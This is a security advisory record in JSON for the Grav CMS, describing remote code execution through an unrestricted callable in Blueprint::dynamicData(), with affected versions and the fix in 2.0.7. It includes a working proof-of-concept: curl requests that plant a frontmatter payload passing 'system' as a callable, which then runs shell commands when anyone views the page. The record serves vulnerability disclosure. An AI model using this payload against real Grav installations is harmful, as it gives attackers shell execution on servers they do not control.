{"id":"GHSA-fj2p-qj2f-74v5","summary":"Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()","details":"### Summary\nAn account with the `admin.pages` permission (or `api.pages.write`) can run shell\ncommands on the server. The command executes whenever anyone — including an\nunauthenticated visitor — opens the page.\n\n### Details\n`Blueprint::dynamicData()` (system/src/Grav/Common/Data/Blueprint.php:426) passes\na `Class::method` string and its arguments straight to `call_user_func_array()`\nwith no allowlist. The form plugin runs page frontmatter through this path\n(form/classes/Form.php:432), so a page author controls the input.\n`Grav\\Common\\Utils::arrayFilterRecursive($source,$fn)`\n(system/src/Grav/Common/Utils.php:1169) is a public static that calls\n`$fn($key,$value)`, so passing `system` as `$fn` and a command as the array key\nruns the command.\n\n### PoC\nPlaceholders: `\u003cBASE_URL\u003e` the site; `\u003cSESSION_COOKIE\u003e` an admin session cookie\nfor an account with `admin.pages`; `\u003cADMIN_NONCE\u003e` the `admin-nonce` on any admin\npage (`window.GravAdmin.config.admin_nonce`).\n\nSave a \"form\" page whose field carries the callable directive:\n\n    curl '\u003cBASE_URL\u003e/admin/pages/rcepoc' \\\n      -H 'Cookie: \u003cSESSION_COOKIE\u003e' \\\n      --data-urlencode 'task=save' \\\n      --data-urlencode 'admin-nonce=\u003cADMIN_NONCE\u003e' \\\n      --data-urlencode 'data[folder]=rcepoc' \\\n      --data-urlencode 'data[name]=form' \\\n      --data-urlencode 'data[title]=x' \\\n      --data-urlencode 'data[content]=hi' \\\n      --data-urlencode \"data[frontmatter]=forms:\n      x:\n        fields:\n          y:\n            type: text\n            data-opts@:\n              - 'Grav\\Common\\Utils::arrayFilterRecursive'\n              - { 'echo GRAV-RCE-OK; id': 'x' }\n              - system\"\n\nTrigger it as an unauthenticated visitor:\n\n    curl '\u003cBASE_URL\u003e/rcepoc'\n\nSuccess check: the GET response body begins with `GRAV-RCE-OK` followed by the\nweb-server user's `id` output (a line starting `uid=...`) — the command ran\nduring the unauthenticated request and its output is reflected in the response.\n\n\n### Impact\nShell command execution as the web-server user, triggered by any visit to the\npage, plantable by any holder of `admin.pages` or `api.pages.write`.\n\nTrust boundary: crossed. `admin.pages` (or `api.pages.write`) grants page\nediting, not code execution; the holder plants the payload and the code runs at\nrequest time on any later view of the page.","aliases":["CVE-2026-64850","CVE-2026-65008"],"modified":"2026-09-02T15:00:11.115058944Z","published":"2026-09-02T14:51:18Z","database_specific":{"github_reviewed_at":"2026-09-02T14:51:18Z","nvd_published_at":"2026-08-19T16:18:39Z","cwe_ids":["CWE-94"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-64850"},{"type":"WEB","url":"https://github.com/getgrav/grav/commit/acffa34cbb0787fee87c609e0d6289e904fee33c"},{"type":"PACKAGE","url":"https://github.com/getgrav/grav"},{"type":"WEB","url":"https://github.com/getgrav/grav/releases/tag/2.0.7"}],"affected":[{"package":{"name":"getgrav/grav","ecosystem":"Packagist","purl":"pkg:composer/getgrav/grav"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.7"}]}],"versions":["0.8.0","0.9.0","0.9.1","0.9.10","0.9.11","0.9.12","0.9.13","0.9.14","0.9.15","0.9.16","0.9.17","0.9.18","0.9.19","0.9.2","0.9.20","0.9.21","0.9.22","0.9.23","0.9.24","0.9.25","0.9.26","0.9.27","0.9.28","0.9.29","0.9.3","0.9.30","0.9.31","0.9.32","0.9.33","0.9.34","0.9.35","0.9.36","0.9.37","0.9.38","0.9.39","0.9.4","0.9.40","0.9.41","0.9.42","0.9.43","0.9.44","0.9.45","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.0","1.0.0-rc.1","1.0.0-rc.2","1.0.0-rc.3","1.0.0-rc.4","1.0.0-rc.5","1.0.0-rc.6","1.0.1","1.0.10","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.0-beta.1","1.1.0-beta.2","1.1.0-beta.3","1.1.0-beta.4","1.1.0-beta.5","1.1.0-rc.1","1.1.0-rc.2","1.1.0-rc.3","1.1.1","1.1.10","1.1.11","1.1.12","1.1.13","1.1.14","1.1.15","1.1.16","1.1.17","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.1.9-rc.1","1.1.9-rc.2","1.1.9-rc.3","1.2.0","1.2.0-rc.1","1.2.0-rc.2","1.2.0-rc.3","1.2.1","1.2.2","1.2.3","1.2.4","1.3.0","1.3.0-rc.1","1.3.0-rc.2","1.3.0-rc.3","1.3.0-rc.4","1.3.0-rc.5","1.3.1","1.3.10","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.0-beta.1","1.4.0-beta.2","1.4.0-beta.3","1.4.0-rc.1","1.4.0-rc.2","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.5.0","1.5.0-beta.1","1.5.0-beta.2","1.5.0-rc.1","1.5.1","1.5.10","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.5.8","1.5.9","1.6.0","1.6.0-beta.1","1.6.0-beta.2","1.6.0-beta.3","1.6.0-beta.4","1.6.0-beta.5","1.6.0-beta.6","1.6.0-beta.7","1.6.0-beta.8","1.6.0-rc.1","1.6.0-rc.2","1.6.0-rc.3","1.6.0-rc.4","1.6.1","1.6.10","1.6.11","1.6.12","1.6.13","1.6.14","1.6.15","1.6.16","1.6.17","1.6.18","1.6.19","1.6.2","1.6.20","1.6.21","1.6.22","1.6.23","1.6.24","1.6.25","1.6.26","1.6.27","1.6.28","1.6.29","1.6.3","1.6.30","1.6.31","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.7.0-beta.1","1.7.0-beta.10","1.7.0-beta.2","1.7.0-beta.3","1.7.0-beta.4","1.7.0-beta.5","1.7.0-beta.6","1.7.0-beta.7","1.7.0-beta.8","1.7.0-beta.9","1.7.0-rc.1","1.7.0-rc.10","1.7.0-rc.11","1.7.0-rc.12","1.7.0-rc.13","1.7.0-rc.14","1.7.0-rc.15","1.7.0-rc.16","1.7.0-rc.17","1.7.0-rc.18","1.7.0-rc.19","1.7.0-rc.2","1.7.0-rc.20","1.7.0-rc.3","1.7.0-rc.4","1.7.0-rc.5","1.7.0-rc.6","1.7.0-rc.7","1.7.0-rc.8","1.7.0-rc.9","1.7.1","1.7.10","1.7.12","1.7.13","1.7.14","1.7.15","1.7.16","1.7.17","1.7.18","1.7.19","1.7.20","1.7.21","1.7.22","1.7.23","1.7.24","1.7.25","1.7.26","1.7.26.1","1.7.27","1.7.27.1","1.7.28","1.7.29","1.7.29.1","1.7.3","1.7.30","1.7.31","1.7.32","1.7.33","1.7.34","1.7.35","1.7.36","1.7.37","1.7.37.1","1.7.38","1.7.39","1.7.39.1","1.7.39.2","1.7.39.3","1.7.39.4","1.7.4","1.7.40","1.7.41","1.7.41.1","1.7.41.2","1.7.42","1.7.42.1","1.7.42.2","1.7.42.3","1.7.43","1.7.44","1.7.45","1.7.46","1.7.47","1.7.48","1.7.49","1.7.49.1","1.7.49.2","1.7.49.3","1.7.49.4","1.7.49.5","1.7.5","1.7.51","1.7.52","1.7.53","1.7.53.1","1.7.53.2","1.7.53.3","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0-beta.1","1.8.0-beta.10","1.8.0-beta.11","1.8.0-beta.12","1.8.0-beta.13","1.8.0-beta.14","1.8.0-beta.15","1.8.0-beta.16","1.8.0-beta.17","1.8.0-beta.18","1.8.0-beta.19","1.8.0-beta.2","1.8.0-beta.20","1.8.0-beta.21","1.8.0-beta.22","1.8.0-beta.23","1.8.0-beta.24","1.8.0-beta.25","1.8.0-beta.26","1.8.0-beta.27","1.8.0-beta.28","1.8.0-beta.29","1.8.0-beta.3","1.8.0-beta.4","1.8.0-beta.5","1.8.0-beta.6","1.8.0-beta.7","1.8.0-beta.8","1.8.0-beta.9","2.0.0","2.0.0-beta.1","2.0.0-beta.2","2.0.0-beta.3","2.0.0-beta.4","2.0.0-rc.1","2.0.0-rc.10","2.0.0-rc.2","2.0.0-rc.3","2.0.0-rc.4","2.0.0-rc.5","2.0.0-rc.6","2.0.0-rc.7","2.0.0-rc.8","2.0.0-rc.9","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-fj2p-qj2f-74v5/GHSA-fj2p-qj2f-74v5.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}